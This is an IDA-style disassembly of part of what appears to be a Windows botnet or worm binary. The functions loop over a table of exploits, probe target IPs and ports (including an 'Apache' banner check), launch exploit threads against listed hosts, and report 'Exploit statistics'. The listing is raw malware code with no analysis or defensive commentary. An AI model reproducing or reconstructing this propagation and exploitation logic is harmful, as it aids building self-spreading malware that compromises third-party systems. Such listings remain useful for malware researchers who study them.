push 1 loc_40DFBC: ; CODE XREF: sub_40DE7D+11Ej ; sub_40DE7D+12Cj pop eax jmp short loc_40E038 ; --------------------------------------------------------------------------- loc_40DFBF: ; CODE XREF: sub_40DE7D+DDj cmp [ebp+arg_0], ebx jz short loc_40E036 push 6 push offset aApache ; "Apache" push edi call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40E036 lea eax, [ebp+var_4] mov [ebp+var_4], ebx push eax push offset dword_416AE0 push edi call sub_410892 ; sscanf push 6 push offset dword_416AD8 push [ebp+arg_0] call sub_410CA0 ; _strnicmp mov esi, eax add esp, 18h neg esi sbb esi, esi inc esi cmp esi, 1 jnz short loc_40E01E push 7 push offset dword_416AD0 push [ebp+arg_0] call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40E036 loc_40E01E: ; CODE XREF: sub_40DE7D+189j cmp [ebp+var_4], 1 jz short loc_40E02A cmp [ebp+var_4], 2 jnz short loc_40E036 loc_40E02A: ; CODE XREF: sub_40DE7D+1A5j xor eax, eax cmp esi, ebx setnz al add eax, 5 jmp short loc_40E038 ; --------------------------------------------------------------------------- loc_40E036: ; CODE XREF: sub_40DE7D+2Dj ; sub_40DE7D+4Ej ... xor eax, eax loc_40E038: ; CODE XREF: sub_40DE7D+10Cj ; sub_40DE7D+140j ... pop edi pop esi pop ebx leave retn sub_40DE7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E03D proc near ; DATA XREF: sub_40E18A+3B3o ; sub_40E7C8+1C2o var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch lea eax, [ebp+var_14C] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free push 1 push [ebp+var_10E] call sub_403402 lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_403495 add esp, 20h test eax, eax jnz short loc_40E098 push [ebp+var_10E] call sub_403D27 jmp loc_40E183 ; --------------------------------------------------------------------------- loc_40E098: ; CODE XREF: sub_40E03D+49j cmp [ebp+var_112], 0 jz short loc_40E0B9 push [ebp+var_10E] call sub_40DE7D cmp [ebp+var_112], eax pop ecx jnz loc_40E178 loc_40E0B9: ; CODE XREF: sub_40E03D+62j cmp [ebp+var_8A], 1 jnz short loc_40E0D3 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_4034E7 jmp short loc_40E120 ; --------------------------------------------------------------------------- loc_40E0D3: ; CODE XREF: sub_40E03D+83j cmp [ebp+var_8A], 2 jnz short loc_40E111 lea eax, [ebp+var_6] push 0Ah push eax push 0FFFFh push 401h call sub_40AADE pop ecx pop ecx push eax call sub_410C9A ; _itoa lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_410820 ; _mbscpy add esp, 14h jmp short loc_40E134 ; --------------------------------------------------------------------------- loc_40E111: ; CODE XREF: sub_40E03D+9Dj call sub_40DC42 push eax lea eax, [ebp+var_6] push eax call sub_410820 ; _mbscpy loc_40E120: ; CODE XREF: sub_40E03D+94j lea eax, [ebp+var_86] push offset dword_418C78 push eax call sub_410820 ; _mbscpy add esp, 10h loc_40E134: ; CODE XREF: sub_40E03D+D2j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_40E15D push [ebp+var_10E] push [ebp+var_14C] call sub_40DA6E jmp short loc_40E176 ; --------------------------------------------------------------------------- loc_40E15D: ; CODE XREF: sub_40E03D+10Bj cmp [ebp+var_8A], 2 jnz short loc_40E178 lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_40DB90 loc_40E176: ; CODE XREF: sub_40E03D+11Ej pop ecx pop ecx loc_40E178: ; CODE XREF: sub_40E03D+76j ; sub_40E03D+127j push [ebp+var_10E] call sub_403D49 loc_40E183: ; CODE XREF: sub_40E03D+56j pop ecx xor eax, eax leave retn 4 sub_40E03D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E18A proc near ; DATA XREF: sub_40E629+18Do var_758 = qword ptr -758h var_740 = byte ptr -740h var_640 = byte ptr -640h var_63F = byte ptr -63Fh var_540 = byte ptr -540h var_53F = byte ptr -53Fh var_440 = dword ptr -440h var_43C = byte ptr -43Ch var_429 = byte ptr -429h var_37E = dword ptr -37Eh var_2F4 = dword ptr -2F4h var_2F0 = byte ptr -2F0h var_1E8 = byte ptr -1E8h var_1DA = dword ptr -1DAh var_1D6 = dword ptr -1D6h var_1D2 = dword ptr -1D2h var_1CE = byte ptr -1CEh var_47 = byte ptr -47h var_46 = byte ptr -46h var_43 = byte ptr -43h var_37 = byte ptr -37h var_36 = byte ptr -36h var_28 = byte ptr -28h var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 740h push esi push edi push 2C9h lea eax, [ebp+var_2F4] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_1E8] push eax call sub_4052D4 add esp, 14h test al, al jz short loc_40E1DF push 14Ch lea eax, [ebp+var_440] push 0 push eax call sub_410850 ; memset add esp, 0Ch jmp loc_40E269 ; --------------------------------------------------------------------------- loc_40E1DF: ; CODE XREF: sub_40E18A+38j xor esi, esi mov edi, offset dword_416768 loc_40E1E6: ; CODE XREF: sub_40E18A+8Aj lea eax, [ebp+var_28] push edi push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_28] push eax call sub_40AC4E lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_28] push eax call sub_410C94 ; _strcmpi add esp, 14h test eax, eax jz short loc_40E216 inc esi add edi, 3Ah jmp short loc_40E1E6 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40E18A+84j imul esi, 3Ah push 3Ah lea eax, [ebp+var_43C] lea esi, dword_416768[esi] push esi push eax mov [ebp+var_440], esi call sub_410838 ; memcpy lea eax, [ebp+var_43C] push eax call sub_40AC4E lea eax, [ebp+var_429] push eax call sub_40AC4E and [ebp+var_37E], 0 lea eax, [ebp+var_429] push eax lea eax, [ebp+var_1E8] push eax call sub_410820 ; _mbscpy add esp, 1Ch loc_40E269: ; CODE XREF: sub_40E18A+50j lea eax, [ebp+var_2F0] push eax call sub_405670 test eax, eax pop ecx jz short loc_40E2E0 mov dl, byte_417B60 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_53F] mov [ebp+var_540], dl rep stosd stosw stosb push 3Fh xor eax, eax pop ecx lea edi, [ebp+var_63F] mov [ebp+var_640], dl rep stosd stosw stosb lea eax, [ebp+var_640] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_540] push eax call sub_405580 add esp, 0Ch test eax, eax jz short loc_40E2E0 push [ebp+var_1D2] call sub_403925 test eax, eax pop ecx mov [ebp+var_4], eax jnz short loc_40E2F3 loc_40E2E0: ; CODE XREF: sub_40E18A+EEj ; sub_40E18A+141j push [ebp+var_2F4] call sub_406753 pop ecx xor eax, eax jmp loc_40E623 ; --------------------------------------------------------------------------- loc_40E2F3: ; CODE XREF: sub_40E18A+154j mov eax, [ebp+var_440] push ebx test eax, eax jz loc_40E395 test byte ptr [eax+32h], 1 jz loc_40E395 call sub_4032EF mov ecx, eax push 2 neg ecx sbb ecx, ecx pop edx add ecx, 3 cmp [ebp+var_37], 0 mov [ebp+var_37E], ecx jz short loc_40E33D mov esi, [ebp+var_440] test [esi+32h], dl jnz short loc_40E33D push 1 pop ecx mov [ebp+var_37E], ecx loc_40E33D: ; CODE XREF: sub_40E18A+19Dj ; sub_40E18A+1A8j cmp [ebp+var_47], 0 jz short loc_40E34B mov ecx, edx mov [ebp+var_37E], ecx loc_40E34B: ; CODE XREF: sub_40E18A+1B7j cmp [ebp+var_46], 0 jz short loc_40E35A push 3 pop ecx mov [ebp+var_37E], ecx loc_40E35A: ; CODE XREF: sub_40E18A+1C5j cmp ecx, 3 jnz short loc_40E395 test eax, eax jz short loc_40E36B mov [ebp+var_37E], edx jmp short loc_40E395 ; --------------------------------------------------------------------------- loc_40E36B: ; CODE XREF: sub_40E18A+1D7j mov al, [ebp+var_43] mov bl, [ebp+var_36] and [ebp+var_43], 0 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_1CE] push 0 push eax mov [ebp+var_36], 1 call sub_40DD96 mov al, byte ptr [ebp+arg_0+3] pop ecx pop ecx mov [ebp+var_36], bl mov [ebp+var_43], al loc_40E395: ; CODE XREF: sub_40E18A+172j ; sub_40E18A+17Cj ... mov esi, offset dword_418008 push esi call sub_406AE4 pop ecx lea eax, [ebp+var_1E8] push [ebp+var_1DA] push eax lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_2F4] add eax, 14h push offset dword_416BC8 push eax call sub_410844 ; sprintf push esi call sub_406AEF add esp, 18h lea eax, [ebp+var_1E8] push [ebp+var_1DA] push eax lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_2F4] push dword ptr [eax] lea eax, [ebp+var_1CE] push offset dword_416B90 push eax call sub_408D50 xor ebx, ebx add esp, 18h cmp [ebp+var_440], ebx mov esi, 3E8h jnz short loc_40E418 push esi call ds:dword_4110A4 ; Sleep loc_40E418: ; CODE XREF: sub_40E18A+285j mov [ebp+var_8], ebx call sub_41084A ; clock mov [ebp+var_C], eax mov [ebp+arg_0], ebx loc_40E426: ; CODE XREF: sub_40E18A+30Fj ; sub_40E18A+34Cj ... mov eax, [ebp+var_2F4] cmp [eax+4], ebx jnz loc_40E5CC mov edi, [ebp+arg_0] sub edi, [ebp+var_C] call sub_41084A ; clock mov ecx, [ebp+var_1DA] add eax, edi imul ecx, 3E8h cmp eax, ecx jnb loc_40E5CC lea eax, [ebp+var_640] push eax lea eax, [ebp+var_540] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_640] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_540] push eax call sub_405580 lea eax, [ebp+var_540] push offset dword_418C78 push eax call sub_410AEE ; strcmp add esp, 1Ch test eax, eax jz short loc_40E426 push [ebp+var_4] lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_540] push eax call sub_403AFB add esp, 0Ch push eax call sub_40394D pop ecx test eax, eax pop ecx jz short loc_40E4DC call sub_41084A ; clock mov ecx, [ebp+var_1DA] add eax, edi imul ecx, 3E8h cmp eax, ecx jb loc_40E426 loc_40E4DC: ; CODE XREF: sub_40E18A+335j push [ebp+var_1D6] call ds:dword_4110A4 ; Sleep push [ebp+var_4] call sub_4039D2 test eax, eax pop ecx jz loc_40E5BC loc_40E4F9: ; CODE XREF: sub_40E18A+39Fj ; sub_40E18A+3DAj ... push [ebp+var_4] call sub_403A6C mov ebx, eax pop ecx test ebx, ebx jz loc_40E5BC inc [ebp+var_8] cmp [ebp+var_440], 0 jz short loc_40E566 mov edi, 14Ch push edi call sub_41082C ; malloc test eax, eax pop ecx mov dword ptr [ebp+var_14+4], eax jz short loc_40E4F9 lea ecx, [ebp+var_440] push edi push ecx push eax call sub_410838 ; memcpy mov edi, dword ptr [ebp+var_14+4] push edi push offset sub_40E03D mov [edi+3Eh], ebx call sub_406541 add esp, 14h test eax, eax jnz short loc_40E559 push edi call sub_410832 ; free jmp short loc_40E563 ; --------------------------------------------------------------------------- loc_40E559: ; CODE XREF: sub_40E18A+3C5j push [ebp+var_4] push ebx call sub_40397D pop ecx loc_40E563: ; CODE XREF: sub_40E18A+3CDj pop ecx jmp short loc_40E4F9 ; --------------------------------------------------------------------------- loc_40E566: ; CODE XREF: sub_40E18A+38Cj mov eax, [ebp+var_2F4] cmp dword ptr [eax+4], 0 jnz short loc_40E5BC lea eax, [ebp+var_740] push eax push ebx call sub_403495 pop ecx mov bl, [ebp+var_36] pop ecx lea eax, [ebp+var_1E8] and [ebp+var_36], 0 push eax lea eax, [ebp+var_740] push eax lea eax, [ebp+var_1CE] push offset dword_416B7C push eax call sub_408D50 add esp, 10h mov [ebp+var_36], bl push esi call ds:dword_4110A4 ; Sleep add [ebp+arg_0], esi jmp loc_40E4F9 ; --------------------------------------------------------------------------- loc_40E5BC: ; CODE XREF: sub_40E18A+369j ; sub_40E18A+37Cj ... push [ebp+var_4] call sub_403AAE pop ecx xor ebx, ebx jmp loc_40E426 ; --------------------------------------------------------------------------- loc_40E5CC: ; CODE XREF: sub_40E18A+2A5j ; sub_40E18A+2C6j push [ebp+var_8] call sub_41084A ; clock sub eax, [ebp+var_C] mov dword ptr [ebp+var_14+4], ebx push ecx push ecx mov dword ptr [ebp+var_14], eax lea eax, [ebp+var_1E8] fild [ebp+var_14] fmul ds:flt_411280 fstp [esp+758h+var_758] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_1CE] push offset unk_416B38 push eax call sub_408D50 push [ebp+var_4] call sub_403AE6 push [ebp+var_2F4] call sub_406753 add esp, 24h xor eax, eax pop ebx loc_40E623: ; CODE XREF: sub_40E18A+164j pop edi pop esi leave retn 4 sub_40E18A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E629 proc near ; CODE XREF: sub_40735A+107Ep var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi jz loc_40E7C3 mov edi, [ebp+arg_8] cmp edi, ebx jz loc_40E7C3 push edi call sub_4052D4 test al, al pop ecx jz short loc_40E67A push edi call sub_40325E test eax, eax pop ecx jz loc_40E7C3 loc_40E662: ; CODE XREF: sub_40E629+87j cmp [ebp+arg_C], ebx mov esi, 15180h jz short loc_40E6C1 push [ebp+arg_C] call sub_41088C ; atoi pop ecx mov [ebp+var_4], eax jmp short loc_40E6C4 ; --------------------------------------------------------------------------- loc_40E67A: ; CODE XREF: sub_40E629+28j cmp byte ptr dword_416768, 0 jz loc_40E7C3 mov eax, offset dword_416768 mov esi, eax loc_40E68E: ; CODE XREF: sub_40E629+91j push eax lea eax, [ebp+var_18] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_18] push eax call sub_40AC4E lea eax, [ebp+var_18] push edi push eax call sub_410C94 ; _strcmpi add esp, 14h test eax, eax jz short loc_40E662 add esi, 3Ah mov eax, esi cmp byte ptr [esi], 0 jnz short loc_40E68E jmp loc_40E7C3 ; --------------------------------------------------------------------------- loc_40E6C1: ; CODE XREF: sub_40E629+41j mov [ebp+var_4], esi loc_40E6C4: ; CODE XREF: sub_40E629+4Fj cmp [ebp+var_4], ebx jz short loc_40E6CE cmp [ebp+var_4], esi jbe short loc_40E6D1 loc_40E6CE: ; CODE XREF: sub_40E629+9Ej mov [ebp+var_4], esi loc_40E6D1: ; CODE XREF: sub_40E629+A3j cmp [ebp+arg_10], ebx mov esi, 7D0h jz short loc_40E6E9 push [ebp+arg_10] call sub_41088C ; atoi pop ecx mov [ebp+arg_10], eax jmp short loc_40E6EC ; --------------------------------------------------------------------------- loc_40E6E9: ; CODE XREF: sub_40E629+B0j mov [ebp+arg_10], esi loc_40E6EC: ; CODE XREF: sub_40E629+BEj cmp [ebp+arg_10], 32h jb short loc_40E6FB cmp [ebp+arg_10], 0EA60h jbe short loc_40E6FE loc_40E6FB: ; CODE XREF: sub_40E629+C7j mov [ebp+arg_10], esi loc_40E6FE: ; CODE XREF: sub_40E629+D0j cmp [ebp+arg_14], ebx mov esi, 100h jz short loc_40E716 push [ebp+arg_14] call sub_41088C ; atoi pop ecx mov [ebp+arg_C], eax jmp short loc_40E719 ; --------------------------------------------------------------------------- loc_40E716: ; CODE XREF: sub_40E629+DDj mov [ebp+arg_C], esi loc_40E719: ; CODE XREF: sub_40E629+EBj cmp [ebp+arg_C], ebx jz short loc_40E727 cmp [ebp+arg_C], 200h jbe short loc_40E72A loc_40E727: ; CODE XREF: sub_40E629+F3j mov [ebp+arg_C], esi loc_40E72A: ; CODE XREF: sub_40E629+FCj push 2C9h call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, ebx jz loc_40E7C3 push 108h lea edi, [esi+4] push [ebp+arg_4] push edi call sub_4052A6 push 0Eh lea ebx, [esi+10Ch] push [ebp+arg_8] push ebx call sub_4052A6 mov eax, [ebp+var_4] push 1A3h push [ebp+arg_0] mov [esi+11Ah], eax mov eax, [ebp+arg_10] mov [esi+11Eh], eax mov eax, [ebp+arg_C] mov [esi+122h], eax lea eax, [esi+126h] push eax call sub_410838 ; memcpy mov ecx, [ebp+arg_0] add esp, 24h xor eax, eax push [ebp+arg_C] cmp [ecx+18Bh], al push [ebp+arg_10] setz al push dword ptr [esi+11Ah] push ebx push edi push offset unk_416BF4 push eax push esi push offset sub_40E18A call sub_40663C add esp, 24h loc_40E7C3: ; CODE XREF: sub_40E629+Ej ; sub_40E629+19j ... pop edi pop esi pop ebx leave retn sub_40E629 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7C8 proc near ; DATA XREF: sub_40EA34+4Bo var_488 = dword ptr -488h var_484 = byte ptr -484h var_304 = byte ptr -304h var_17D = byte ptr -17Dh var_17C = byte ptr -17Ch var_179 = byte ptr -179h var_16D = byte ptr -16Dh var_16C = byte ptr -16Ch var_16B = byte ptr -16Bh var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_149 = byte ptr -149h var_9E = dword ptr -9Eh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 488h push ebx push esi push edi push 327h push [ebp+arg_0] lea eax, [ebp+var_488] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free mov eax, [ebp+var_488] add esp, 10h push dword ptr [eax] lea eax, [ebp+var_304] push offset unk_416CA0 push eax call sub_408D50 lea eax, [ebp+var_14] xor edi, edi push eax lea eax, [ebp+var_484] push offset dword_412F18 push eax mov [ebp+var_C], edi mov [ebp+var_8], edi call sub_405733 add esp, 18h mov [ebp+var_10], eax loc_40E82F: ; CODE XREF: sub_40E7C8+236j inc [ebp+var_C] cmp off_416796, edi jz loc_40E9DC mov [ebp+var_4], offset dword_416768 loc_40E845: ; CODE XREF: sub_40E7C8+20Ej mov esi, [ebp+var_4] push 3Ah lea eax, [ebp+var_15C] push esi push eax call sub_410838 ; memcpy lea eax, [ebp+var_15C] mov [ebp+var_160], esi push eax call sub_40AC4E lea eax, [ebp+var_149] push eax call sub_40AC4E mov eax, [ebp+var_160] add esp, 14h cmp eax, edi jz loc_40E936 test byte ptr [eax+32h], 1 jz loc_40E936 call sub_4032EF mov ecx, eax neg ecx sbb ecx, ecx add ecx, 3 cmp [ebp+var_16D], 0 mov [ebp+var_9E], ecx jz short loc_40E8C2 mov edx, [ebp+var_160] test byte ptr [edx+32h], 2 jnz short loc_40E8C2 push 1 pop ecx mov [ebp+var_9E], ecx loc_40E8C2: ; CODE XREF: sub_40E7C8+E3j ; sub_40E7C8+EFj cmp [ebp+var_17D], 0 jz short loc_40E8D4 push 2 pop ecx mov [ebp+var_9E], ecx loc_40E8D4: ; CODE XREF: sub_40E7C8+101j cmp [ebp+var_17C], 0 jz short loc_40E8E6 push 3 pop ecx mov [ebp+var_9E], ecx loc_40E8E6: ; CODE XREF: sub_40E7C8+113j cmp ecx, 3 jnz short loc_40E936 cmp eax, edi jz short loc_40E8FB mov [ebp+var_9E], 2 jmp short loc_40E936 ; --------------------------------------------------------------------------- loc_40E8FB: ; CODE XREF: sub_40E7C8+125j mov al, [ebp+var_179] mov bl, [ebp+var_16C] and [ebp+var_179], 0 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_304] push edi push eax mov [ebp+var_16C], 1 call sub_40DD96 mov al, byte ptr [ebp+arg_0+3] pop ecx pop ecx mov [ebp+var_16C], bl mov [ebp+var_179], al loc_40E936: ; CODE XREF: sub_40E7C8+B8j ; sub_40E7C8+C2j ... mov cl, [ebp+var_16B] mov eax, 1388h neg cl sbb ecx, ecx and ecx, eax add ecx, eax lea eax, [ebp+var_149] push ecx push edi push eax push [ebp+var_10] call sub_403BBB mov ebx, eax add esp, 10h cmp ebx, edi jz short loc_40E9CC push 14Ch call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, edi jz short loc_40E9CC lea eax, [ebp+var_160] push 14Ch push eax push esi call sub_410838 ; memcpy inc [ebp+var_8] push esi push offset sub_40E03D mov [esi+3Eh], ebx call sub_406541 add esp, 14h test eax, eax jnz short loc_40E9AE push ebx call sub_403D49 push esi call sub_410832 ; free pop ecx pop ecx jmp short loc_40E9CC ; --------------------------------------------------------------------------- loc_40E9AE: ; CODE XREF: sub_40E7C8+1D4j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_304] push [ebp+var_10] push offset dword_416C70 push eax call sub_408D50 add esp, 10h loc_40E9CC: ; CODE XREF: sub_40E7C8+199j ; sub_40E7C8+1AAj ... add [ebp+var_4], 3Ah mov eax, [ebp+var_4] cmp [eax+2Eh], edi jnz loc_40E845 loc_40E9DC: ; CODE XREF: sub_40E7C8+70j lea eax, [ebp+var_14] push eax push offset dword_412F18 push edi call sub_405733 add esp, 0Ch mov [ebp+var_10], eax cmp eax, edi mov eax, [ebp+var_488] jz short loc_40EA04 cmp [eax+4], edi jz loc_40E82F loc_40EA04: ; CODE XREF: sub_40E7C8+231j push [ebp+var_C] push [ebp+var_8] push dword ptr [eax] lea eax, [ebp+var_304] push offset dword_416C2C push eax call sub_408D50 push [ebp+var_488] call sub_406753 add esp, 18h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40E7C8 endp ; =============== S U B R O U T I N E ======================================= sub_40EA34 proc near ; CODE XREF: sub_40735A+4AAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 push esi jz short loc_40EA8C push 327h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40EA8C push 180h lea eax, [esi+4] push [esp+8+arg_4] push eax call sub_4052A6 push 1A3h lea eax, [esi+184h] push [esp+14h+arg_0] push eax call sub_410838 ; memcpy add esp, 18h push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push esi push offset sub_40E7C8 call sub_40663C add esp, 10h loc_40EA8C: ; CODE XREF: sub_40EA34+6j ; sub_40EA34+17j pop esi retn sub_40EA34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA8E proc near ; DATA XREF: sub_40EB64+29o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_21 = byte ptr -21h var_20 = byte ptr -20h var_14 = byte ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1BC] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_3BC] push offset aExploitStatist ; "Exploit statistics - " push eax call sub_410820 ; _mbscpy xor ebx, ebx add esp, 18h cmp byte ptr dword_416768, bl jz short loc_40EB39 push esi mov esi, offset dword_416768 mov eax, esi loc_40EADA: ; CODE XREF: sub_40EA8E+A8j push 12h push eax lea eax, [ebp+var_14] push eax call sub_4052A6 lea eax, [ebp+var_14] push eax call sub_40AC4E lea eax, [ebp+var_14] push eax lea eax, [ebp+var_3BC] push eax call sub_410856 ; _mbscat add esp, 18h lea eax, [ebp+var_3BC] push dword ptr [esi+2Ah] push offset dword_416CF4 push eax call sub_410826 ; strlen pop ecx lea eax, [ebp+eax+var_3BC] push eax call sub_410844 ; sprintf add esp, 0Ch cmp [ebp+var_21], bl jz short loc_40EB2F mov [esi+2Ah], ebx loc_40EB2F: ; CODE XREF: sub_40EA8E+9Cj add esi, 3Ah mov eax, esi cmp [esi], bl jnz short loc_40EADA pop esi loc_40EB39: ; CODE XREF: sub_40EA8E+42j lea eax, [ebp+var_3BC] mov [ebp+var_20], bl push eax lea eax, [ebp+var_1B8] push eax call sub_408D50 push [ebp+var_1BC] call sub_406753 add esp, 0Ch xor eax, eax pop ebx leave retn 4 sub_40EA8E endp ; =============== S U B R O U T I N E ======================================= sub_40EB64 proc near ; CODE XREF: sub_40735A+4E7p arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40EB9A push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push esi push offset sub_40EA8E call sub_40663C add esp, 10h loc_40EB9A: ; CODE XREF: sub_40EB64+10j pop esi retn sub_40EB64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB9C proc near ; DATA XREF: sub_40EC6F+AFo var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_1B0 = byte ptr -1B0h var_1AA = dword ptr -1AAh var_1A6 = byte ptr -1A6h var_E = byte ptr -0Eh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2B4h push esi push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2B4] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free call sub_41084A ; clock push [ebp+var_1AA] mov esi, eax lea eax, [ebp+var_1B0] push 0 push eax lea eax, [ebp+var_2B0] push eax call sub_403BBB add esp, 20h test eax, eax jz short loc_40EC1E push eax call sub_403D49 pop ecx call sub_41084A ; clock sub eax, esi push eax lea eax, [ebp+var_1B0] push eax lea eax, [ebp+var_2B0] push eax lea eax, [ebp+var_1A6] push offset dword_416DA0 push eax call sub_408D50 add esp, 14h jmp short loc_40EC5C ; --------------------------------------------------------------------------- loc_40EC1E: ; CODE XREF: sub_40EB9C+4Dj cmp [ebp+var_E], 0 jnz short loc_40EC5C call sub_41084A ; clock sub eax, esi cmp eax, [ebp+var_1AA] lea eax, [ebp+var_1B0] push eax lea eax, [ebp+var_2B0] push eax jb short loc_40EC48 push offset dword_416D68 jmp short loc_40EC4D ; --------------------------------------------------------------------------- loc_40EC48: ; CODE XREF: sub_40EB9C+A3j push offset dword_416D38 loc_40EC4D: ; CODE XREF: sub_40EB9C+AAj lea eax, [ebp+var_1A6] push eax call sub_408D50 add esp, 10h loc_40EC5C: ; CODE XREF: sub_40EB9C+80j ; sub_40EB9C+86j push [ebp+var_2B4] call sub_406753 pop ecx xor eax, eax pop esi leave retn 4 sub_40EB9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC6F proc near ; CODE XREF: sub_40735A+DC2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_40ED2B mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_40EC8B mov ebx, offset a80 ; "80" loc_40EC8B: ; CODE XREF: sub_40EC6F+15j push ebx call sub_41088C ; atoi test eax, eax pop ecx jz loc_40ED2B cmp eax, 0FFFFh ja loc_40ED2B cmp [ebp+arg_C], 0 jz short loc_40ECB8 push [ebp+arg_C] call sub_41088C ; atoi pop ecx mov edi, eax jmp short loc_40ECBD ; --------------------------------------------------------------------------- loc_40ECB8: ; CODE XREF: sub_40EC6F+3Aj mov edi, 0EA60h loc_40ECBD: ; CODE XREF: sub_40EC6F+47j test edi, edi jz short loc_40ED2B cmp edi, 36EE80h ja short loc_40ED2B push 2B1h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40ED2B push 100h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4052A6 push 6 lea eax, [esi+104h] push ebx push eax call sub_4052A6 push [ebp+arg_0] lea eax, [esi+10Eh] mov [esi+10Ah], edi push eax call sub_403E60 add esp, 20h push ebx push [ebp+arg_4] push offset dword_416DD0 push 0 push esi push offset sub_40EB9C call sub_40663C add esp, 18h loc_40ED2B: ; CODE XREF: sub_40EC6F+Aj ; sub_40EC6F+25j ... pop edi pop esi pop ebx pop ebp retn sub_40EC6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED30 proc near ; DATA XREF: sub_40EF0E+169o var_2E0 = qword ptr -2E0h var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2C8h push ebx push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C8] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free push [ebp+var_1BC] mov ebx, [ebp+var_1C4] call sub_403925 add esp, 14h mov [ebp+arg_0], eax test eax, eax jnz short loc_40ED84 push [ebp+var_2C8] call sub_406753 pop ecx xor eax, eax jmp loc_40EF09 ; --------------------------------------------------------------------------- loc_40ED84: ; CODE XREF: sub_40ED30+3Fj movzx eax, word ptr [ebp+var_1C4+2] push esi push edi push [ebp+var_1BC] push eax movzx eax, word ptr [ebp+var_1C4] push eax lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_2C8] push dword ptr [eax] lea eax, [ebp+var_1B8] push offset dword_416E40 push eax call sub_408D50 